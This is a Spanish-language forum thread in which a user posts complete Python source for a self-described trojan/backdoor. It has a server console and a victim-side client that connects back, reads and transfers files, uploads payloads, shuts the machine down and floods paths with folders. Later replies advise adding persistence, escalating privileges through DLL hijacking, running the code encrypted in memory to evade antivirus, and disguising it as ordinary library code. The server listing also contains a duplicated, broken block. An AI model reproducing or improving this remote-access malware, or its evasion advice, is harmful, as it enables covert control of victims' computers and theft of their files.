Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: mobyblock en 27 Julio 2020, 16:05



Título: Codigo de troyano en python 3.8
Publicado por: mobyblock en 27 Julio 2020, 16:05
Buenas a todos:

Aquí les dejo el código de mi primera backdoor, cualquier idea o error me la comentáis (la iré actualizando según añada cosas al código).
Servidor
Código
  1. #importamos las librerias
  2. import socket #libreria para crear la conexion cliente/servidor
  3. from colorama import Fore, Back, Style #libreria para decorar textos y banners
  4. import colorama
  5. import os #libreria de multiples usos
  6. from time import sleep #libreria para crear pausas en segundos
  7. import random #libreria para generar numeros aleatorios
  8.  
  9. #ajustar el tamaño terminal
  10. if os.name == "posix": #comprobamos si el ordenador es de linux o windows
  11.    os.system('printf "\033[8;10;42t"') #ajustamos la terminal en linux
  12. elif os.name == "ce" or os.name == "nt" or os.name == "dos":
  13.    os.system('mode con: cols=124 lines=40') #ajustamos la terminal en MacOs y windows
  14.  
  15. #funciones generales
  16. def menuDeAyuda(): #imprime un menu de ayuda con todos los comandos disponibles
  17.    borrarPantalla() #Usa la funcion limpiar pantalla para limpiar la terminal
  18.    print(Fore.BLUE + "Esta es un lista de comandos disponibles") #Fore es usado para cambiar el color de las letras
  19.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  20.    print(Fore.WHITE + "Info - Muestra informacion del sistema infectado                                     " + Fore.BLUE + "|")
  21.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  22.    print(Fore.WHITE + "Dir - Muestra los archivos en el directorio actual                                   " + Fore.BLUE + "|")
  23.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  24.    print(Fore.WHITE + "Close - Cierra la conexion                                                           " + Fore.BLUE + "|")
  25.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  26.    print(Fore.WHITE + "Cls - Limpia la consola                                                              " + Fore.BLUE + "|")
  27.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  28.    print(Fore.WHITE + "Cd - Cambia el directorio actual                                                     " + Fore.BLUE + "|")
  29.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  30.    print(Fore.WHITE + "Help - Muestra este menu de ayuda                                                    " + Fore.BLUE + "|")
  31.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  32.    print(Fore.WHITE + "Pwd - Muestra el directorio actual                                                   " + Fore.BLUE + "|")
  33.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  34.    print(Fore.WHITE + "Shutdown - Apaga la computadora (solo windows)                                       " + Fore.BLUE + "|")
  35.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  36.    print(Fore.WHITE + "Download - Lleva archivos comprimidos de tu ordenador  al \nordenador de la victima  " + Fore.BLUE + "|")
  37.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  38.    print(Fore.WHITE + "Banner - Genera un banner aleatorio                                                  " + Fore.BLUE + "|")
  39.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  40.    print(Fore.WHITE + "Col - Colapsa la ruta seleccionada con las carpetas indicadas                        " + Fore.BLUE + "|")
  41.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  42.    print(Fore.WHITE + "Touch - Crea un archivo de texto en la ruta seleccionada                             " + Fore.BLUE + "|")
  43.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  44.    print(Fore.WHITE + "Read - Sirve para leer documentos                                                    " + Fore.BLUE + "|")
  45.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  46.    print(Fore.WHITE + "Compress - Comprime archivos en el ordenador de la victima                           " + Fore.BLUE + "|")
  47.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  48.    print(Fore.WHITE + "Uncompress - Descomprime archivos en el ordenador de la victima                      " + Fore.BLUE + "|")
  49.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  50.    print(Fore.WHITE + "Usr - Muestra el nombre de usuario de el ordenador infectado                         " + Fore.BLUE + "|")
  51.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  52.    print(Fore.WHITE + "Mkdir - Crea una carpeta en la ruta espedificada                                     " + Fore.BLUE + "|")
  53.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  54.    print(Fore.WHITE + "Move - Mueve archivos a la ruta seleccionada                                         " + Fore.BLUE + "|")
  55.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  56.  
  57.  
  58.  
  59. def borrarPantalla(): #Limpia la terminal
  60.    if os.name == "posix": #Si es linux limpia la pantalla en linux
  61.        os.system ("clear")
  62.    elif os.name == "ce" or os.name == "nt" or os.name == "dos": #Si es windows o mac os la limpia para esos sistemas
  63.        os.system ("cls")
  64.  
  65. #Los banners son dibujitos que aparecen al ejecutar el script y al usar el comando banner
  66. def banner1():
  67.    print(Fore.BLACK + "\n\n" +
  68. Back.BLACK + "     " + "                                                                                           \n" +
  69. Back.BLACK + "     " + "                                                                                           \n" +
  70. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  71. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  72. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  73. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  74. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  75. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  76. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  77. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  78. Back.BLACK + "     " + "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                  \n" +
  79. Back.BLACK + "     " + "                                                                                           \n" +
  80. Fore.BLUE + Back.BLACK + "\n" + "                          MY TROJAN")
  81.  
  82.  
  83. def banner2():
  84.    print(Fore.BLUE + "\n \n"
  85.                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  86.                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
  87.                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
  88.                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
  89.                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
  90.                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
  91.                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
  92.                      "$$" + Fore.GREEN +"ooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "ooooooooooooooooo" + Fore.BLUE + "$$\n" +
  93.                      "$$" + Fore.GREEN +"oooooooooooooooo" + Fore.BLUE + "$$$$$$$$$$$$$$$$$$$$$$" + Fore.GREEN + "oooooooooooooooooo" + Fore.BLUE + "$$\n" +
  94.                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +                                                
  95.                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  96.                      " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  97.                      "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  98.                      "   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  99.                      "    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  100.                      "     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  101.                      "                                                                   \n"
  102.                      "                          MY TROJAN                                  ")
  103.  
  104.  
  105. def banner3():
  106.    print(Fore.YELLOW + "\n\n"
  107.                        "                               000000000000000000000000000000000000000                                                    \n"
  108.                        "                               000000000000000000000000000000000000000                                                    \n"
  109.                        "                               000000000000000000000000000000000000000                                                    \n"
  110.                        "                               0000000                          000000  0000000000000                                     \n"
  111.                        "    ****000000000000000000000000000000                          000000000000000000  000                                   \n"
  112.                        " *****00000000000000000000000000000000                          000000000000         |                                    \n"
  113.                        "    ****000000000000000000000000000000                          00000000000000000000000                                   \n" + Fore.BLUE)
  114.  
  115. def banner4():
  116.    print(Fore.WHITE + "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
  117.                       "       $                                     $                                                    \n"
  118.                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
  119.                       "     $   $                                                                                        \n"
  120.                       "    $   $                                                                                         \n"
  121.                       "   $   $                                                                                          \n"
  122.                       "  $   $                                                      $$$$                 $$$$            \n"
  123.                       " $   $                                                       $$$$                 $$$$            \n"
  124.                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
  125.                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
  126.                       " $   $                                                       $$$$                 $$$$            \n"
  127.                       "  $   $                                                      $$$$                 $$$$            \n"
  128.                       "   $   $                                                                                          \n"
  129.                       "    $   $                                                                                         \n"
  130.                       "     $   $                                                                                        \n"
  131.                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
  132.                       "       $                                     $                                                    \n"
  133.                       "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n" + Fore.BLUE)
  134.  
  135.  
  136. def defineBanner(): #Esta funcion define un banner aleatorio
  137.    num = random.randint(1, 4) #Genera un numero aleatorio entre 1 y 4
  138.  
  139.    if(num == 1): #Dependiendo de que numero sea usa un banner diferente
  140.        banner1()
  141.    if(num == 2):
  142.        banner2()
  143.    if(num == 3):
  144.        banner3()
  145.    if(num == 4):
  146.        banner4()
  147.  
  148. #Iniciar colorama
  149. colorama.init() #Inicia colorama para poder colorear
  150.  
  151. #Poner socket en linea
  152. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Define socket
  153. s.bind(('127.0.0.1', 1234)) #Lo pone en modo servidor
  154. #poner socket a la escucha
  155. s.listen()
  156.  
  157. #decoracion
  158. borrarPantalla() #Borra la pantalla para evitar problemas
  159. defineBanner() #Llama a la funcion defineBanner para dibujar un banner aleatorio
  160. print(Fore.BLUE + "Esperando una conexion...") #Muestra que esta esperando una conexion para aclarar dudas
  161.  
  162. #variables generales
  163. guid = "" #Es la variable donde se introducira el comando a usar
  164. cmdList = ["Help", "Close", "Cls", "Cd", "Info", "Dir", "Pwd", "Shutdown", "Download", "Banner", "Col", "Touch", "Read", "Uncompress", "Compress", "Usr", "Mkdir", "Move"] #Es una lista de todos los comandos que use para evitar errores
  165.  
  166. #aceptar nueva conexion
  167. clientsocket, address = s.accept() #Si el cliente solicita unirse acepta la conexion
  168.  
  169. #mostrar informacion basica de la nueva conexion
  170. marca = clientsocket.recv(1024) #Recive una informacion enviada desde el cliente y la almacena en la variable marca
  171. marca.decode("utf-8") #Descodifica e mensaje (siempre hay que codificar para enviar y lo contrario al recivir)
  172. print(Fore.BLUE + f"New connection from a {marca}/{address}") #Imprime el sistema operativo y la direccion ip del sistema infectado
  173.  
  174. while True: #Empieza a recibir ordenes para enviar
  175.            #Me quedan hacer muchas cosas aqui entre ellas
  176.            #Pedir una respuesta de confirmacion en cada comando
  177.            #(Solo lo tengo en algunos)
  178.  
  179.    guid = input() #Pide que ingreses un comando
  180.  
  181.    try: #Intenta ejecutar el siguiente codigo
  182.        if(guid != ""): #Comprueba que el comando introducido sea diferente a nada
  183.            if(guid == "Banner"): #Si es igual a Banner usa la funcion defindeBanner para imprimir un banner
  184.                defineBanner()
  185.            if(guid == "Help"): #Si es igual a Help imprime el menu de ayuda
  186.                menuDeAyuda()
  187.            if(guid == "Close"): #Si es igual a Close cierra la conexion
  188.                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente para cerrar la conexion desde hay tambien
  189.                print(Fore.YELLOW + "La conexion se a roto" + Fore.RED)
  190.                sleep(1) #Espera un segundo
  191.                print("Ya no podra ejecutar mas comandos en la victima..." + Fore.BLUE)
  192.                os.system("pause") #Crea una pausa
  193.                break #Cierra el bucle para que se cierre el programa
  194.            if(guid == "Cls"): #Si el comando es igual a Cls limpia la consola con la funcion borrarPantalla
  195.                borrarPantalla()
  196.            if(guid == "Cd"): #Si el comando es igual a Cd
  197.                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente
  198.                direc = input("Cual es la ruta a la que moverse...") #Pide que escriba la ruta a la que se quiere mover
  199.                clientsocket.send(bytes(direc, "utf-8")) #La manda al cliente
  200.            if(guid == "Info" or guid == "Dir" or guid == "Pwd" or guid == "Usr"): #Estos tres comandos son muy similares ya que solo muestran informacion de la victima
  201.                clientsocket.send(bytes(guid, "utf-8"))
  202.                respuesta = clientsocket.recv(10024)
  203.                print(Fore.BLUE + "-------------------------------------------")
  204.                print(respuesta.decode("utf-8"))
  205.                print(Fore.BLUE + "-------------------------------------------")
  206.            if(guid == "Shutdown"): #Si el comando es igual a Shutdown
  207.                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando a la victima para que reciva la orden
  208.                print("La conexion se perdera al apagar el ordenador(solo funciona en windows)")
  209.                break #Rompe el bucle para que acabe el programa
  210.            if(guid == "Download"): #Si el comando es igual a Download(este me costo montarlo asi que si no entiendes no te procupes)
  211.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
  212.                fileName = input("Nombre y extension del nuevo archivo...") #Pide el nombre y la extension del nuevo archivo
  213.                clientsocket.send(bytes(fileName, "utf-8")) #Envia los datos anteriores
  214.                file = input("Archivo que quiere descargar en la conexion...") #Pide la ruta de un archivo .zip o .rar en tu ordenador para pasarlo al de la victima
  215.                f = open(file, 'rb') #Abre ese archivo con permisos de lectura para leer el binario(todos los archivos estan formados por binario)
  216.                fileData = f.read(99999999) #Lee el binario obtenido
  217.                clientsocket.send(fileData) #Lo envia(no hace falta codificarlo porque ya esta codificado)
  218.                print("Archivo enviado...")
  219.                respuestaDeComprobacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
  220.                print(respuestaDeComprobacion.decode("utf-8")) #Y la muestra por pantalla
  221.            if(guid == "Col"):#Si el comando es igual a Col
  222.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
  223.                numC = input("Cuantas carpetas quiere crear...") #Pregunta al usuario cuantas carpetas quiere crear
  224.                clientsocket.send(bytes(numC, "utf-8")) #Lo manda al cliente
  225.                colPath = input("Cual es la ruta que desea colapsar...") #Pregunta cual es la ruta a colapsar
  226.                clientsocket.send(bytes(numC, "utf-8")) #La envia
  227.                print(Fore.YELLOW + "Colapsando..." + Fore.BLUE)
  228.                print("Esperando respuesta...")
  229.                respuesta = clientsocket.recv(1024) #Recoge la respuesta de confirmacion
  230.                print(respuesta.decode("utf-8")) #La imprime
  231.            if(guid == "Touch"): #Si es igual a Touch
  232.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
  233.                titulo = input("Titulo del documento...") #Pregunta por el titulo del documento(extension incluida)
  234.                clientsocket.send(bytes(titulo, "utf-8")) #La envia al cliente
  235.                filePath = input("Ruta donde el documento se creara...") #Pide que ingrese la ruta donde se creara el documento
  236.                clientsocket.send(bytes(filePath, "utf-8")) #La envia al cliente
  237.                content = input("Contenido del documento...") #Pregunta por el contenido del documento
  238.                clientsocket.send(bytes(content, "utf-8")) #Lo envia al cliente
  239.                print("Esperando respuesta")
  240.                respuestaDeConfrimacion = clientsocket.recv(1024) #Recive la respuesta del cliente
  241.                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime en la consola
  242.            if(guid == "Read"): #Si la orden es igual a Read
  243.                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
  244.                fileRead = input("Ruta del archivo que desea leer(procure que el archivo no sea muy extenso)...") #Pregunta sobre la ruta del documento
  245.                clientsocket.send(bytes(fileRead, "utf-8")) #La manda al cliente
  246.                cont = clientsocket.recv(999999) #Recibe la respuesta del cliente(o el contenido o un error)
  247.                print("----------------------------------------------------")
  248.                print(cont.decode("utf-8")) #La imprime
  249.                print("----------------------------------------------------")
  250.            if(guid == "Uncompress"): #Si el comando es igual a Uncompress(otro complicado)
  251.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
  252.                uncompressPath = input("Introduzca la ruta del archivo a descomprimir...") #Pide la ruta del archivo a descomprimir
  253.                clientsocket.send(bytes(uncompressPath, "utf-8")) #La envia
  254.                finalPath = input("Introduzca la ruta en la que desea decomprimir el archivo(sin el archivo)...") #Pide la ruta en la que se quiere descomprimir
  255.                clientsocket.send(bytes(finalPath, "utf-8")) #La envia
  256.                print("Esperando respuesta....")
  257.                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
  258.                print(respuesta.decode("utf-8")) #La imprime
  259.            if(guid == "Compress"): #Si es igual a Compress
  260.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden
  261.                nombreDelArchivo = input("Nombre del archivo...") #Pregunta el nuevo nombre(extension .rar .zip o similares)
  262.                clientsocket.send(bytes(nombreDelArchivo, "utf-8")) #La envia
  263.                rutaDelArchivo = input("Ruta del archivo a comprimir...") #Pregunta la ruta del archivo a comprimir
  264.                clientsocket.send(bytes(rutaDelArchivo, "utf-8")) #La envia
  265.                print("Esperando respuesta...")
  266.                respuesta = clientsocket.recv(1024) #Recive respuesta del cliente
  267.                print(respuesta.decode("utf-8")) #La imprime
  268.            if(guid == "Mkdir"): #Si la orden es Mkdir
  269.                clientsocket.send(bytes(guid, "utf-8")) # Envia la orden
  270.                path = input("Ingrese la ruta...") #Pide la ruta de la nueva carpeta
  271.                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
  272.                print("Esperando respuesta...")
  273.                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
  274.                print(respuesta.decode("utf-8")) #La imprime
  275.            if(guid == "Move"): #Si la orden es igual a Move
  276.                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
  277.                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
  278.                clientsocket.send(bytes(movePath, "utf-8")) #La envia
  279.                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
  280.                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
  281.                print("Esperando respuesta...")
  282.                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
  283.                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
  284.            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
  285.                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto
  286.  
  287.  
  288.    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
  289.        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
  290.                print("Esperando respuesta...")
  291.                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
  292.                print(respuesta.decode("utf-8")) #La imprime
  293.            if(guid == "Move"): #Si la orden es igual a Move
  294.                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
  295.                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
  296.                clientsocket.send(bytes(movePath, "utf-8")) #La envia
  297.                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
  298.                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
  299.                print("Esperando respuesta...")
  300.                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
  301.                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
  302.            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
  303.                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto
  304.  
  305.  
  306.    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
  307.        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa
  308.  
Cliente
Código
  1. import socket
  2. import subprocess
  3. import platform
  4. import os
  5. import getpass
  6. import time
  7. import zipfile
  8. import patoolib
  9. from shutil import move
  10.  
  11. var = False
  12. espera = 1
  13. while var == False:
  14.    try:
  15.        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  16.        client.connect(('127.0.0.1', 1234))
  17.        var = True
  18.    except:
  19.        print("furrula")
  20.        time.sleep(60)
  21.  
  22.  
  23. client.send(bytes(f"{platform.system()}", "utf-8"))
  24. while True:
  25.  
  26.    sysInfo = f"""
  27.    Operating System: {platform.system()}
  28.    Computer Name: {platform.node()}
  29.    Username: {getpass.getuser()}
  30.    Release Version: {platform.release()}
  31.    Processor Architecture: {platform.processor()}
  32.                """
  33.    msg = client.recv(100)
  34.    msg.decode("utf-8")
  35.    print(msg)
  36.  
  37.    if(msg == b'Info'):
  38.        client.send(bytes(sysInfo, "utf-8"))
  39.  
  40.    if(msg == b'Dir'):
  41.        client.send(bytes(str(os.listdir(".")), "utf-8"))
  42.  
  43.    if(msg == b'Cd'):
  44.        direc = client.recv(100)
  45.        direc.decode("utf-8")
  46.        os.chdir(direc)
  47.  
  48.    if(msg == b'Pwd'):
  49.        ruta = f'{os.getcwd()}'
  50.        print(ruta)
  51.        client.send(bytes(ruta, "utf-8"))
  52.  
  53.    if(msg == b'Shutdown'):
  54.        os.system('shutdown -s -t 1')
  55.  
  56.    if (msg == b'Close'):
  57.        break
  58.  
  59.    if(msg == b'Col'):
  60.        numC = client.recv(1024)
  61.        colPath = client.recv(1024)
  62.        for i in range(0, int(numC)):
  63.            rutaColapsada = colPath.decode("utf-8") + "\\" + str(i)
  64.            if os.path.exists(rutaColapsada):
  65.                rutaColapsada = rutaColapsada + str(arregloParaRutas)
  66.                os.mkdir(rutaColapsada)
  67.            else:
  68.                os.mkdir(rutaColapsada)
  69.        client.send(bytes("Proceso terminado", "utf-8"))
  70.  
  71.    if(msg == b'Touch'):
  72.        try:
  73.            titulo = client.recv(1024)
  74.            print(titulo)
  75.            filePath = client.recv(1024)
  76.            print(filePath)
  77.            contenido = client.recv(100024)
  78.            print(contenido)
  79.            file = open(filePath.decode("utf-8") + "\\" + titulo.decode("utf-8"), "w")
  80.            print("Creado")
  81.            file.write(contenido.decode("utf-8"))
  82.            file.close()
  83.            cliente.send(bytes("Creado correctamente", "utf-8"))
  84.        except:
  85.            client.send(bytes("A ocuriido un error", "utf-8"))
  86.    if(msg == b'Download'):
  87.        try:
  88.            fileName = client.recv(100)
  89.            f = open(fileName, 'wb')
  90.            print(fileName)
  91.            fileData = client.recv(99999999)
  92.            print(fileData)
  93.            time.sleep(2)
  94.            f.write(fileData)
  95.            f.close()
  96.            client.send(bytes("Creado correctamente", "utf-8"))
  97.  
  98.        except:
  99.            client.send(bytes("Ha ocurrido un error, probablemente no tengas los permisos suficientes", "utf-8"))
  100.  
  101.    if(msg == b'Read'):
  102.        pathFile = client.recv(1024)
  103.        pathFile.decode("utf-8")
  104.        f = open(pathFile, 'rb')
  105.        fileData = f.read(99999)
  106.        client.send(fileData)
  107.  
  108.    if(msg == b'Uncompress'):
  109.        try:
  110.            uncompressPath = client.recv(1024)
  111.            uncompressDestiny = client.recv(1024)
  112.            patoolib.extract_archive(uncompressPath.decode("utf-8"), outdir=uncompressDestiny.decode("utf-8"))
  113.            client.send(bytes("Descomprimido correctamente", "utf-8"))
  114.        except:
  115.            client.send(bytes("A ocurrido un error", "utf-8"))
  116.  
  117.  
  118.    if(msg == b'Usr'):
  119.        client.send(bytes(getpass.getuser(), "utf-8"))
  120.  
  121.    if(msg == b'Compress'):
  122.        try:
  123.            name = client.recv(1024)
  124.            namePath = client.recv(1024)
  125.  
  126.            jungle_zip = zipfile.ZipFile(name.decode("utf-8"), 'w')
  127.            jungle_zip.write(namePath.decode("utf-8"), compress_type=zipfile.ZIP_DEFLATED)
  128.  
  129.            jungle_zip.close()
  130.            client.send(bytes("Comprimido correctamente", "utf-8"))
  131.  
  132.        except:
  133.            client.send(bytes("A ocurrido un error", "utf-8"))
  134.  
  135.    if(msg == b'Mkdir'):
  136.        try:
  137.            path = client.recv(1024)
  138.            os.mkdir(path.decode("utf-8"))
  139.            client.send(bytes("Creada correctamente", "utf-8"))
  140.            print("enviado")
  141.        except:
  142.            client.send(bytes("A ocurrido un error", "utf-8"))
  143.  
  144.    if(msg == b'Move'):
  145.        try:
  146.            movePath = client.recv(1024)
  147.            moveDestiny = client.recv(1024)
  148.            move(movePath.decode("utf-8"), moveDestiny.decode("utf-8"))
  149.            client.send(bytes("Transportado correctamente", "utf-8"))
  150.        except:
  151.            client.send(bytes("A ocurrido un error", "utf-8"))
  152.  
  153.    time.sleep(espera)
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  



Postdata: Algunas librerías hay que instalarlas con pip ;) ;)

MOD: Codigo GeShi de Python agregado


Título: Re: Codigo de backdoor en python
Publicado por: BlowFlow04 en 27 Julio 2020, 16:22
Me puedes explicar como funciona estos dos codigos? Estoy empezando... Un resumen jeje.


Título: Re: Codigo de backdoor en python
Publicado por: mobyblock en 27 Julio 2020, 16:59
Me puedes explicar como funciona estos dos codigos? Estoy empezando... Un resumen jeje.
El server se pone en linea y espera la conexión del cliente, cuando el cliente se conecta te permite ejecutar algunos comandos (escribe Help para verlos).


Título: Re: Codigo de troyano en python 3.8
Publicado por: el etrno en 6 Septiembre 2020, 03:58
lo ley al vuelo y no estoy muy bien de la vista (el estar usando un celular no ayuda)digo esto por si no estoy viendo algo solo házmelo saber.
hasta donde entendí el primer código crea un servidor y el segundo es con lo que infectas noto dos problemas mayores 1: no veo nigun mecanismo para que el virus inicie (no es persistente) 2: estoy seguro de que va a ser detectado por el antivirus, ahora las soluciones (te dejo el código a ti 1 porque sera buena experiencia aprender a hacerlo 2 tengo mis propios problemas) para el problema 1 necesitas escalar privilegios se que se podía con powershell pero estoy seguro de que en windows 10 ya areglaron eso la forma mas simple que se me ocurre es que infectes un .dll que ocupe un poseso con permisos de sistema (widows carga bastantes .dll que no están protegidos) existen muchos proceso con privilegios que cargan .dll compartidos que puedes modificar esto me lleva al punto 2 encrita el código (ya compilado y en formato .exe) el ejecutable final debe infectar un poseso ya existente con el código descifrado de esta manera no queda nunca tu código en el disco duro todo esta en la memoria ram y lo del disco es ilegible al estar cifrado. como un extra deberias hacer algo para que sea imposible rastrear tu servidor espero haberte ayudado


Título: Re: Codigo de troyano en python 3.8
Publicado por: mobyblock en 13 Septiembre 2020, 12:56
Muchas gracias por la idea pronto subiré un código persistente e intentare hacer lo de escalar privilegios. Respecto a los antivirus muy pocos me lo detectaban probé con 10 antivirus y solo uno me lo detectaba. Agradezco esta crítica constructiva ;-) ;-).


Título: Re: Codigo de troyano en python 3.8
Publicado por: OzX en 15 Septiembre 2020, 12:12
Te recomendaria lo siguiente:

- Olvídate de todos los colores y banners. Mientras menos código y menos librerías utilices mejor.
- No ocupes librerías que necesites instalar. Mientras todo sea mas nativo en python mejor.
- Intenta no ocupar try except sin definir que except estas capturando.
- Intenta que se vea un código menos sospechoso. Busca algún python de alguna librería estilo django e intenta que se vea mas similar de esta manera no salta tanto la alerta al ojo.
- Ve la forma de ocupar SSL o algún túnel SSL.
- Repites mucho código , podrías transformarlo a funciones.

Limitas mucho el contenido que vas a recibir con las variables de
contenido = client.recv(100024)

